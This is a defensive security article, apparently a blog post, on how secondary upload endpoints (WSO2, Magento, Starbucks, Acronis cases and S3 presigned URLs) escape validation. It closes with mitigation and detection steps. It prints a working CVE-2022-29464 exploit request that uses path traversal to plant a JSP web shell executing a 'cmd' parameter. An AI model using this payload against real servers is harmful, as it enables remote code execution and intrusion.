API Upload Defenses Fail at the Path You Forgot to Harden
WSO2 API Manager had file upload validation in April 2022. The security team had hardened the documented endpoint. Attackers used /fileupload/toolsAny, a separate code path, unauthenticated, with no extension restrictions and no directory traversal protection. Within 4 days of PoC publication, Cobalt Strike beacons were running on exposed infrastructure worldwide.
The primary endpoint was secure. The secondary one was not. That is the pattern.
Modern APIs Expose 3 or 4 Upload Paths, and Security Teams Harden One
Every API that accepts files offers, in practice, multiple upload mechanisms. Multipart/form-data is the most visible. Base64 embedded in a JSON body appears in REST APIs that carry binary data alongside metadata. S3 presigned URLs externalize the upload to the client, with the signature generated server-side. Binary PUT exists in storage APIs and profile image endpoints.
Each mechanism has an independent validation chain. The Magento bug (APSB25-94) demonstrates this: the /V1/guest-carts/:cartId/items REST API endpoints accepted base64-encoded file data and bypassed the restrictions applied to the admin panel path. The GraphQL mutations in the same system used a different code path and were not vulnerable. Starbucks exposes the same pattern across two HackerOne reports: the /api/upload endpoint on campaign.starbucks.com.sg had no file type restriction (HackerOne #883151, $5,600 bounty), and a separate .ashx endpoint on mobile.starbucks.com.sg used a different validation routine from the primary path, accepting any file type (HackerOne #1027822). Two researchers, same program, two distinct upload paths, two independent vulnerabilities.
Presigned URLs add an extra layer of blindness. The application generates the signed URL before the file exists, based solely on client-declared metadata. S3 accepts any byte sequence against a valid signed URL, up to 5 TB, without validating content against the declared Content-Type. Unauthenticated presigned URL generation endpoints allow any caller to upload arbitrary files before any content review occurs.
Content-Type and Magic Bytes Fail Independently
Validating the Content-Type header is the minimum. It is also useless alone, because the header is attacker-controlled and can carry any value. Validating magic bytes is closer to correct, but still fails against polyglot files that satisfy an image signature while containing executable code embedded after that signature.
Sansec documented the PolyShell technique in the APSB25-94 context: a file with valid GIF87a or PNG magic bytes followed by PHP code passed getimagesizefromstring() validation and was written to pub/media/custom_options/quote/shell.php. That function checks image dimensions and signature and nothing else. Since March 2026, 79.5% of protected Magento stores have been targeted using this technique after disclosure. HackerOne #1121317 (Acronis) demonstrates the same concept from a different angle: a PHP file renamed to .gif bypassed MIME validation in the IMCE file manager because the extension check and the header check were applied to different fields of the same request. Both failed independently.
The only reliable defense is server-side re-encoding: converting the received image to a new format using an image processing library. That process destroys any payload embedded in EXIF metadata, in bytes following the signature, or in the file structure. Extension checking and MIME validation are depth controls, not trust controls.
CVE-2022-29464: The Upload Path That Skipped Every Validator
CVE-2022-29464 carries CVSS 9.8 and affects WSO2 API Manager (versions 2.2.0 through 4.0.0), Identity Server (5.2.0 through 5.11.0), Enterprise Integrator, and related products. The vulnerability is in the /fileupload/toolsAny endpoint, reachable without authentication, outside the documented API path.
The attack vector is direct:
POST /fileupload/toolsAny HTTP/1.1
Host: target.wso2.com
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"
Content-Type: text/plain
<%@ page import="java.io.*" %>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
------boundary--
The server accepts directory traversal in the filename parameter without sanitization. The JSP file is written to the application container deployment directory, where it is immediately served and executed by the application server. MITRE published the CVE on April 18, 2022. A PoC was released on April 20. Rapid7 MDR confirmed active exploitation on April 22, 4 days after disclosure. JSP web shells, Cobalt Strike beacons, and cryptocurrency miners were confirmed in the wild across both Windows and Linux installations. The CVE is listed in the CISA Known Exploited Vulnerabilities catalog.
The /fileupload/toolsAny path was not the primary API upload endpoint. No security reviewer had mapped that path as an attack surface. That is the central failure: security reviews follow documentation, and undocumented endpoints stay out of scope.
Presigned S3 URLs: Upload Rights Transferred Before Content Exists
The presigned URL upload flow works in three steps: the application validates client-declared metadata (filename, declared MIME type), generates a signed URL for S3 PUT, and returns that URL. The client PUTs the file directly to S3. The application never sees the file bytes.
This design makes content validation architecturally impossible at upload time. S3 does not validate content against the Content-Type declared during presigned URL generation. Bucket policies based on object key extension are bypassed by renaming a .php to .jpg before the PUT. The diagram below shows the blind spot:
Client Application S3
| | |
|-- POST /upload ->| |
| {filename:.jpg} | |
| |-- validate metadata ---->| (name + declared MIME only)
| |<-- presigned URL --------|
|<-- signed URL ---| |
| |
|-- PUT (arbitrary file) ------------------->| (app never sees bytes)
|<-- 200 OK ---------------------------------|
The correct mitigation uses a post-upload Lambda trigger: after the PUT to S3, a function validates the actual file content and moves the object to a quarantine bucket if needed, before making it accessible. Presigned URLs should include a Content-Type constraint and a strict key prefix to limit signature scope.
Post-Upload Execution: Where a File Is Served Determines Whether Upload Becomes RCE
A PHP file stored outside the web root is inert. The same file in the document root, served by Apache with PHP execution enabled, is an RCE primitive. The difference is not what was uploaded but where the file is stored and how it is served.
CVE-2022-29464 demonstrates: the traversal target was ../../../../repository/deployment/server/webapps/, the web application deployment directory, ensuring the JSP file was served and executed by the container. In the Magento APSB25-94 case, files written to pub/media/custom_options/quote/ are served directly by nginx/Apache under the web root. HackerOne #883151 (Starbucks, $5,600 bounty) showed uploaded content served from the campaign domain at a predictable path, enabling stored XSS delivery to authenticated users. CVE-2024-52302 (Spring Boot common-user-management, CVSS 8.7) placed the uploaded file in a directory served by the embedded Tomcat container, triggering JSP execution on the next request to that path.
The mitigation requires storing uploads outside the web root with non-executable permissions and serving via signed redirect to a dedicated content domain with no server-side execution.
Detection Requires Instrumenting the Full Upload Pipeline
Static validation at upload time is insufficient because the attack surface spans multiple paths, each independently reachable. CVE-2024-52302 (Spring Boot common-user-management, CVSS 8.7) is the example: the /api/v1/customer/profile-picture endpoint had no WAF rule or scanner coverage because it was not the primary upload API. SAST and DAST tools test the documented endpoint. The forgotten one stays out of scope.
Effective detection requires 3 instrumentation layers. First: file write events outside designated upload directories (inotify or auditd on Linux). Second: new extensions matching executable types (.php, .jsp, .aspx, .phar) in web-served directories. Third: HTTP 200 responses to requests matching previously uploaded filenames. The MAGO team tool (mago.team) automatically maps all upload endpoints in an API, including path variants and secondary endpoints, detecting which paths lack type and content validation.
The right security checklist question is not "does our upload endpoint validate file types?" The right question is "how many paths accept file data, and have we applied equivalent controls to each?" Enumerate upload paths the same way you enumerate injection sinks: multipart boundaries, base64 fields in JSON bodies, presigned URL generation endpoints, and binary PUT routes. For each: validate file content server-side (not the header), store outside the web root, disable execution in the storage directory, and log the write event. The WSO2 pattern is reproducible in any codebase with more than one upload mechanism.
Top comments (0)